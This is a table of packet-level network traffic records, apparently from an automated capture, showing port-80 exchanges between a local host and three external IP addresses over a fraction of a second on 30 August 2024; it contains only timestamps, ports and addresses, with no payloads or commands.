Aug 30, 2024 03:17:07.453985929 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.454003096 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.454889059 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.454900026 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.454909086 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.454919100 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.454929113 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.454937935 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.454940081 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.454950094 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.454960108 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.454960108 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.454971075 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.454972029 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.454982042 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.454993010 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.454996109 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.455002069 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.455003977 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.455013990 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.455023050 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.455027103 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.455034971 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.455046892 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.455053091 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.455054998 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.455074072 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.455099106 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.458441019 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.458451986 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.458462954 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.458487988 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.458504915 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.458569050 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.458580017 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.458590031 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.458600044 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.458602905 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.458611965 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.458616018 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.458637953 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.458659887 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.459115028 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.459125042 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.459134102 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.459145069 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.459153891 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.459163904 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.459167957 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.459173918 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.459173918 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.459184885 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.459196091 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.459203959 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.459204912 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.459216118 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.459216118 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.459227085 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.459235907 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.459239006 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.459254980 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.459283113 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.459897041 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.459912062 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.459942102 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.460079908 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460108995 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460119009 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460129023 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460140944 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460150957 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460159063 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.460160971 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460165024 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.460170984 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460180998 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460185051 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.460191965 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460202932 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460211992 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.460213900 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460223913 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460236073 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460238934 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.460244894 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460247040 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.460256100 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460266113 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460274935 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460278988 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.460285902 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460294962 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460304022 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460306883 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.460313082 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.460316896 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.460336924 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.460355043 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.461065054 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.461076021 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.461085081 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.461122036 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.461147070 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.462910891 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.462919950 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.462929964 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.462963104 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.462975025 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.463253975 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.463263988 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.463274002 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.463285923 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.463294983 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.463301897 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.463311911 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.463330030 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.463766098 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.463779926 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.463792086 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.463800907 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.463812113 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.463840008 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.463977098 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.463988066 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.464029074 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.464071035 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.464082003 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.464102983 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.464112997 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.464113951 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.464122057 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.464133024 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.464138031 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.464143991 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.464154959 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.464163065 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.464169979 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.464180946 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.464193106 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.464220047 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.464241028 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.464251041 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.464277983 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.468436956 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468446970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468456984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468492985 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.468502998 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.468667030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468677044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468686104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468704939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468712091 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.468720913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468739033 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.468743086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468758106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468760967 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.468767881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468779087 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.468779087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468786001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.468790054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468800068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468805075 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.468811989 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468821049 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.468822002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468831062 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.468832970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468858004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468863964 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.468874931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468875885 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.468884945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468895912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468899965 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.468907118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468918085 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.468940973 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.468961000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468971014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468981028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.468997955 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469005108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469008923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469017029 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469018936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469038963 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469064951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469114065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469124079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469132900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469142914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469150066 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469177008 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469197035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469213963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469228029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469238997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469249010 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469249010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469259024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469259977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469269991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469280005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469288111 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469307899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469310045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469320059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469325066 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469330072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469341993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469350100 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469368935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469391108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469397068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469407082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469415903 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469428062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469438076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469444990 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469470978 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469494104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469504118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469513893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469523907 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469535112 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469547987 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469588995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469599009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469603062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469619036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469633102 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469635010 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469645023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469649076 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469655037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469666958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469675064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469702005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469724894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469736099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469746113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469757080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469768047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469769955 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469789028 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469803095 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469809055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469819069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469839096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469850063 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469850063 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469875097 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469919920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469930887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469940901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469950914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469960928 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469964027 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469976902 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.469986916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.469995975 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.470014095 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.470016003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470026970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470055103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.470077991 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.470088005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470098972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470108032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470117092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470128059 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.470154047 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.470230103 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470240116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470249891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470262051 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470272064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.470295906 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.470377922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470388889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470398903 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470410109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470421076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470422029 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.470429897 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.470443010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470454931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470463037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470464945 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.470474005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470484018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470493078 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.470514059 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.470527887 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.470536947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470546007 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470556021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470571995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470572948 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.470585108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470594883 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.470618010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470627069 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.470628023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470638990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470649958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470657110 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.470664978 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.470691919 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.470700979 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470711946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470721960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470733881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470743895 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.470747948 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.470782995 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.473825932 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.473836899 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.473879099 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.473963022 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.473989010 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.473999023 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.474006891 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.474009037 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.474021912 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.474033117 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.474035978 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.474045038 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.474051952 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.474057913 CEST	80	49737	176.113.115.33	192.168.2.4
